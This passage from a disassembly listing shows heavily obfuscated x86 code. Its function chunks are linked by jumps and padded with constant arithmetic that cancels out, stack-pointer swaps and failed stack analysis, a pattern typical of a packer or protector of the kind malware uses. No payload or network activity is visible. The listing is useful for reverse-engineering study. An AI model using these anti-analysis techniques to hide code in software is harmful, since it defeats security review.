CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD8BD: ; CODE XREF: sub_5AA2D1-475Aj add eax, 1EA50D8Bh shr eax, 5 neg eax jmp loc_59F533 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2AFE loc_5AD8CC: ; CODE XREF: sub_5A2AFE+9E53j sub ecx, 1F8337A7h mov ebx, ecx pop ecx and ebx, 54F131ACh shl ebx, 8 jmp loc_5ADA05 ; END OF FUNCTION CHUNK FOR sub_5A2AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_5AD8E3: ; CODE XREF: sub_5A577C-3ABEj pop edx jmp loc_59D02A ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- loc_5AD8E9: ; CODE XREF: sdfs____:0059CACDj xchg edx, [esp] pop esp mov ax, [esp] push 7F27h jmp loc_5A28A4 ; --------------------------------------------------------------------------- loc_5AD8FB: ; CODE XREF: sdfs____:0059A0F7j mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ebx, [esp] add esp, 4 jmp loc_5AB13C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5AD91C: ; CODE XREF: sub_5A522E+529Dj dec ebx jl loc_59BD3D xor ebx, 2F127573h jo loc_5A7B45 jmp loc_5A6E61 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_5AD934: ; CODE XREF: sub_5AAE5E+9E9j mov ebp, esp add ebp, 4 jmp loc_59DAD3 ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD941: ; CODE XREF: sub_5A79BE-D9A4j ; sub_5AA2D1-4Ej jg loc_5AAA4B add ah, 6Eh jmp loc_5A5A78 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5AD94F: ; CODE XREF: sub_5A2E28-7AC8j add ebp, eax jmp loc_59D237 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5AD956: ; CODE XREF: sub_5A77D5-1834j dec edx add edx, 1 xor edx, 3E7F1B17h or ebx, edx jmp loc_5A56AD ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- loc_5AD96A: ; CODE XREF: sdfs____:005AD659j add eax, 4 jmp loc_59DA4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5AD972: ; CODE XREF: sub_5ABB65-7342j push 0EDEh mov [esp+10h+var_10], ebp mov ebp, 4 add esi, ebp pop ebp xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] xchg ebx, [esp+0] mov esp, [esp+0] jmp loc_5A3397 ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; =============== S U B R O U T I N E ======================================= sub_5AD993 proc near ; CODE XREF: sub_59B22E+995Cj var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch ; FUNCTION CHUNK AT 0059980D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00599B30 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059A58B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059AB8F SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0059C06E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059DFC4 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059FF4F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A0145 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005A19DE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A4415 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 005A48B6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A5D6D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A6E6D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A9501 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005AB9D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AC75C SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005AC87A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AECDC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AF145 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AF673 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AF809 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AFDC6 SIZE 00000011 BYTES push ebx mov ebx, 9BA2734h jmp loc_5AF809 sub_5AD993 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AD99E: ; CODE XREF: sub_5A63DC-A28Fj add [esp+0Ch+var_4], eax push ecx push ebx mov ebx, 4BED4A40h mov ecx, ebx pop ebx sub [esp+10h+var_4], ecx mov ecx, [esp+10h+var_10] add esp, 4 mov eax, [esp+0Ch+var_C] add esp, 4 jmp loc_5A255B ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_5AD9C4: ; CODE XREF: sub_59F074+8B0Cj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AD9C9: ; CODE XREF: sub_5A477C-5608j mov eax, 0AF727CFh mov esi, eax pop eax jmp loc_5B0006 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AD9D6: ; CODE XREF: sub_5B01F7-383Fj inc edi push ebx jmp loc_599F66 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AD9DD: ; CODE XREF: sub_5AA2D1+78Aj mov bx, word ptr [esp+10h+var_10] push 622h mov [esp+14h+var_14], esi mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp+14h+var_14] mov esp, [esp+14h+var_14] xor al, ch mov cx, word ptr [esp+14h+var_14] jmp loc_59C23B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2AFE loc_5ADA05: ; CODE XREF: sub_5A2AFE+ADE0j xor ebx, 4DAB52BDh sub ebx, 14E37CFFh jmp loc_5A21C0 ; END OF FUNCTION CHUNK FOR sub_5A2AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5ADA16: ; CODE XREF: sub_59D6B8+3004j add ebx, edi pop edi add ebx, edi sub ebx, 7CC9717Dh pop edi push 26E7h mov [esp+0Ch+var_C], esi jmp loc_5A2858 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5ADA2F: ; CODE XREF: sub_59D4FD+10E48j xor [esp+0], esi xor esi, [esp+0] mov esp, [esp+0] shl word ptr [esp+0], cl pushf jmp loc_5AB746 ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_5ADA42: ; CODE XREF: sub_59F1C3+4ECEj mov [esp+0], eax push esp pop eax push edi sub esp, 4 jmp loc_5A0FB0 ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5ADA50: ; CODE XREF: sub_5AA810-1543j ; sub_59EE3E+CC94j or edi, 217C2CA4h add edi, 3677F9B5h add ebx, edi pop edi jmp loc_5A6AD1 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0B5D loc_5ADA64: ; CODE XREF: sub_5A0B5D-6779j ; sub_5ADD33-3DE5j add eax, 5E224A67h sub eax, edi sub eax, 5E224A67h pop edi push eax pop ebp jmp loc_59BD0C ; END OF FUNCTION CHUNK FOR sub_5A0B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5ADA78: ; CODE XREF: sub_5A6BBC-1D6Dj push esp push [esp+8+var_8] pop edi push ebp mov ebp, esp push ebx mov ebx, 64310B0Bh jmp loc_59A97B ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5ADA8B: ; CODE XREF: sub_59C979+115F9j mov bh, dl mov cl, bh pop ebx pop edx jmp loc_5A59EF ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx sub esp, 4 jmp loc_5AFAE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5AF2 loc_5ADAB0: ; CODE XREF: sub_5A5AF2-4975j shl ah, 3 jmp loc_5A155F ; END OF FUNCTION CHUNK FOR sub_5A5AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5ADAB8: ; CODE XREF: sub_59FC02+B598j pop ebp or ecx, 4AC63CBAh inc ecx xor ecx, 0E844B21Bh jmp loc_5A88AB ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5ADACB: ; CODE XREF: sub_5A5EFF+51D1j add edi, ebp pop ebp sub ebx, 16DA0B61h add ebx, edi add ebx, 16DA0B61h mov edi, [esp+4+var_4] push eax mov eax, esp jmp loc_59C607 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; =============== S U B R O U T I N E ======================================= sub_5ADAE7 proc near ; DATA XREF: sdfs____:00598F4Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059A4B1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059A9FF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059D3E2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8B47 SIZE 00000019 BYTES push dword ptr [esp+0] jmp loc_59D3E2 sub_5ADAE7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5ADAEF: ; CODE XREF: sub_5A6BBC+94CEj xchg edx, [esp+4+var_4] pop esp sub edx, 3F822FADh jmp loc_5A36C9 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ADAFE: ; CODE XREF: sub_5992DA+C7EEj sub edx, 4927716Dh add edx, eax add edx, 4927716Dh sub edx, 6937643Eh jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE72D loc_5ADB17: ; CODE XREF: sub_5AE72D+108Fj pop eax sub edi, edx pop edx jmp loc_59919D ; END OF FUNCTION CHUNK FOR sub_5AE72D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ADB20: ; CODE XREF: sub_5AA2D1-3109j pop ax push eax jmp loc_59AAA5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5ADB28: ; CODE XREF: sub_5B03B3-E722j add edx, 4 push 1C5Eh mov [esp+4+var_4], ebx mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp+0] mov esp, [esp+0] jmp loc_5AD681 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE0D loc_5ADB49: ; CODE XREF: sub_5AE29C-D0E5j ; sub_5ABE0D+46j xor esi, 2B156C3Dh mov eax, esi pop esi dec eax add eax, 3257141Eh xor edx, eax pop eax jmp loc_5AB367 ; END OF FUNCTION CHUNK FOR sub_5ABE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF5FF loc_5ADB60: ; CODE XREF: sub_5AF5FF+9j mov edx, 4 add ebx, edx pop edx jmp loc_5A356B ; END OF FUNCTION CHUNK FOR sub_5AF5FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ADB6D: ; CODE XREF: sub_5AA2D1-E79Cj mov esi, 4 add edi, esi pop esi sub esp, 4 mov [esp-4+arg_0], eax push esp mov eax, [esp+0] add esp, 4 add eax, 4 push 1BF8h mov [esp+0], edx mov edx, 46EB2230h shr edx, 7 dec edx not edx shl edx, 3 jmp loc_5A4A8C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5ADBA5 proc near ; CODE XREF: sub_59C979:loc_59DFA6j var_6 = dword ptr -6 var_2 = word ptr -2 ; FUNCTION CHUNK AT 0059A27A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A38A6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A834F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AB41B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AC71D SIZE 00000005 BYTES push bx mov bh, 96h sub cl, bh mov bx, [esp+0] push edi mov edi, esp add edi, 4 add edi, 2 xor edi, [esp+0] xor [esp+0], edi jmp loc_59A27A sub_5ADBA5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ADBC6: ; CODE XREF: sub_5AA2D1-8917j ; sub_5A3992+7C65j jp loc_5A56BC xor ebx, 3E784777h mov edi, ebx mov bh, 0E4h mov edi, eax loc_5ADBD8: ; CODE XREF: sub_59AD7B+2739j push edx mov edx, 7C5633EFh or edx, 2C5A34DAh neg edx sub edx, 70513B90h add edx, 1 dec edx sub edx, 13508C6Dh jmp loc_5A0A49 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5ADBFB: ; CODE XREF: sdfs____:005ACBE4j mov [esp], esp push ecx mov ecx, 4 add dword ptr [esp+4], 73C468C7h add [esp+4], ecx sub dword ptr [esp+4], 73C468C7h pop ecx jmp loc_5A7F99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_5ADC1E: ; CODE XREF: sub_5A577C-11EAj mov edx, 4 jmp loc_5A1CBC ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5ADC28: ; CODE XREF: sub_59ED98+FEB8j pop edx push 574Eh mov [esp-4+arg_0], edx mov dl, 3Dh or dl, 68h push eax mov ah, 63h shl ah, 5 or ah, 0DCh or ah, 0ACh add ah, 28h add dl, 0Ch sub dl, ah sub dl, 0Ch mov eax, [esp+0] add esp, 4 shr dl, 8 push small 7E12h mov [esp+0], cx push ax mov al, 91h jmp sub_5AC18D ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ADC6A: ; CODE XREF: sub_5AA2D1-A3A1j shl edx, 4 xor edx, 422E74C4h add ebp, edx pop edx push esi mov esi, 1D4A3DF7h shl esi, 5 shl esi, 5 sub esi, 28F7DBFCh add ebp, esi pop esi xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] xor [esp+4], edi pop edi pop dword ptr [edi+20h] xor dword ptr [edi+20h], 15BB1265h jmp loc_5AC38A ; --------------------------------------------------------------------------- loc_5ADCA5: ; CODE XREF: sub_5AA2D1-77ECj mov eax, 40A22DF9h inc eax jmp loc_5A5CF7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5ADCB0: ; CODE XREF: sub_59D6B8+BD0Dj add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] and eax, 0DB420B9h sub esp, 4 mov [esp+8+var_8], esi mov esi, 1DFA542Ch xor eax, esi pop esi add ecx, eax mov eax, [esp+4+var_4] push edi mov edi, esp add edi, 4 jmp loc_5A51B5 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0879 loc_5ADCE8: ; CODE XREF: sub_5A0879+Dj pop ebx push eax push 349618FDh pop eax and eax, 32FD2A67h push ebp mov ebp, 453D67ACh jmp loc_59C3EC ; END OF FUNCTION CHUNK FOR sub_5A0879 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5ADD00: ; CODE XREF: sub_5A118F+A25Cj sub eax, 0C7C58382h push eax pop ebx mov eax, [esp+4+var_4] add esp, 4 inc ebx jmp loc_5A0691 ; END OF FUNCTION CHUNK FOR sub_5A118F ; =============== S U B R O U T I N E ======================================= sub_5ADD13 proc near ; CODE XREF: sub_5A3CF9+C4ABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 005993E9 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059B0C2 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0059BC36 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A1606 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A2C7E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AF25C SIZE 0000000F BYTES push ebp mov ebp, 414B610Eh and eax, ebp jmp loc_5AF25C sub_5ADD13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ADD20: ; CODE XREF: sub_5AA2D1-B63j mov ecx, esp push edx mov edx, 55925040h push edi mov edi, 6500162Ah jmp loc_5AABAE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5ADD33 proc near ; CODE XREF: sub_5A4B1E-284j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599597 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059A4D9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059AFD3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B2A6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059C646 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059C8AF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059CDBB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059E4BB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059F800 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A055D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A1493 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A14B6 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005A18EC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A1F7A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A268F SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005A3863 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A3975 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A4318 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A46D4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A6397 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A6B51 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A710A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A7F18 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A8AB8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A8B60 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8DFF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A9DE0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A9F47 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 005AA94B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AAFAF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AB950 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AC61B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AD373 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AE4C0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AED2A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AEDBC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AF28A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AF8F5 SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_5AAFAF sub_5ADD33 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5ADD41: ; CODE XREF: sub_5A10E3+A5C4j add edx, ebx mov eax, [edx] jmp loc_5A132E ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ADD4A: ; CODE XREF: sub_5AA2D1-99B2j add esp, 4 sub esi, 4 push esi push [esp+0Ch+var_8] pop esi pop [esp+0Ch+var_C] pop esp mov [esp+4+var_4], edi mov edi, 4 add ebp, edi push [esp+4+var_4] pop edi push eax push esp pop eax add eax, 4 add eax, 4 push eax push [esp+0Ch+var_8] pop eax jmp loc_5A84C1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5ADD81 proc near ; CODE XREF: sub_59EE3E+CEE6j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D12A SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], ecx sub esp, 4 mov [esp+8+var_8], ebp push small 56DCh pop bp not bp and bp, 46D6h push edi mov di, 72BDh sub di, 7EBBh jmp loc_59D12A sub_5ADD81 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5ADDAD: ; CODE XREF: sub_59D6B8+98BCj mov eax, 5EAB24E3h inc eax jmp loc_59ADF1 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ADDB8: ; CODE XREF: sub_5992DA+D3F7j push esp mov ecx, [esp+36h+var_38+2] jmp loc_5B01E0 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5ADDC1: ; CODE XREF: sub_5ABEF6-3998j pop ebx push edx jmp sub_5A3D5B ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3CF9 loc_5ADDC8: ; CODE XREF: sub_5A3CF9-5F15j mov esp, [esp+0] mov [esp+0], ebx jmp loc_59D3B7 ; END OF FUNCTION CHUNK FOR sub_5A3CF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5ADDD3: ; CODE XREF: sub_5A10E3-3CB0j push edx push esi jmp loc_5AD4A7 ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ADDDA: ; CODE XREF: sub_5992DA+103D1j pop ecx push [esp-8+arg_4] pop ecx jmp sub_5A63DC ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5ADDE4: ; CODE XREF: sub_5AD795-11C50j add eax, 0A467BAFh mov edx, eax mov eax, [esp+4+var_4] add esp, 4 sub ebx, edx pop edx push 14A4h mov [esp+0], ebp push eax jmp loc_5A2B7B ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2DF loc_5ADE02: ; CODE XREF: sub_5AF2DF-3D8j sub esi, 70511800h push ebx mov ebx, 0E06291D7h sub esi, ebx pop ebx sub edi, esi pop esi add edi, eax add edi, 256A63ECh pop eax add edi, 2 jmp loc_59D0C7 ; END OF FUNCTION CHUNK FOR sub_5AF2DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5ADE28: ; CODE XREF: sub_5A118F+BAE1j xor ah, 69h or ah, 0Fh jnb loc_5A151C shl ah, 2 jns loc_59B122 mov dh, 0B3h ; END OF FUNCTION CHUNK FOR sub_5A118F ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5ADE3F: ; CODE XREF: sub_5A6BBC-7FF7j pop ebx jmp loc_5A0F09 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5ADE45: ; CODE XREF: sub_5B01F7-E65j dec ebx add ebx, 0D8958E49h add ebp, ebx pop ebx add ebp, 9EB6AFCFh add ecx, ebp pop ebp sub ecx, 4 jmp loc_5A61AF ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- loc_5ADE63: ; CODE XREF: sdfs____:0059AC4Aj add edi, offset word_621B02 mov ebp, edi pop edi add edx, ebp pop ebp jmp loc_599C3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5ADE74: ; CODE XREF: sub_59CBE1+F8B1j pop edi push esi mov esi, 17CB7D02h xor esi, 589245B6h xor esi, 73427A2Fh or esi, 7CF34378h jmp loc_5A6192 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5ADE92: ; CODE XREF: sub_59A9E9+5B5Cj shr ebp, 1 sub ebp, 0A2E25E88h mov edi, ebp pop ebp dec edi jmp loc_59B17B ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ADEA3: ; CODE XREF: sub_5992DA-84j mov ebx, [esp+0] add esp, 4 sub dh, 2Ch or ch, dh pop edx push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 sub edi, ebp pop ebp xchg edi, [esp-4+arg_0] pop esp mov [esp-8+arg_4], ebx mov bl, 0B5h jmp loc_5A9235 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5ADECF: ; CODE XREF: sub_5A21A4-71D6j add eax, ecx sub eax, 8C87450h pop ecx sub esp, 4 mov [esp-4+arg_0], eax push [esp-4+arg_4] jmp loc_5A3B2A ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5ADEE6: ; CODE XREF: sub_59D6B8+B178j mov ecx, 3F547326h jmp loc_59EAA4 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5ADEF0: ; CODE XREF: sub_599D0E+98Dj push 794Bh jmp loc_59D8F5 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5ADEFA: ; CODE XREF: sub_59CBE1+2DFCj sub edx, 7BA86717h neg edx inc edx jmp loc_59E1D3 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ADF08: ; CODE XREF: sub_5992DA+45Aj push ecx mov ecx, 73701D86h shl ecx, 5 sub ecx, 0B80442C4h jmp loc_5AB948 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5ADF1C: ; CODE XREF: sub_5A2E28-5A18j sub ecx, 30D947BBh jb loc_59AC64 xor ecx, 4B02B769h mov edx, ecx pop ecx not edx sub edx, 0A2AC9321h add esi, edx pop edx jmp sub_5AD6D4 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599E21 loc_5ADF41: ; CODE XREF: sub_599E21+163BAj add ebx, 0AD8FE131h add ecx, ebx pop ebx add ecx, 532718A0h push edi mov edi, 7D5B685Fh sub ecx, edi pop edi pop esi push ecx push dword ptr [esp+4] jmp loc_59BA03 ; END OF FUNCTION CHUNK FOR sub_599E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5ADF64: ; CODE XREF: sub_59C979+9DDEj mov [esp+0], edx mov dl, bh sub esp, 4 mov [esp+4+var_6+2], ebx jmp loc_5ADA8B ; 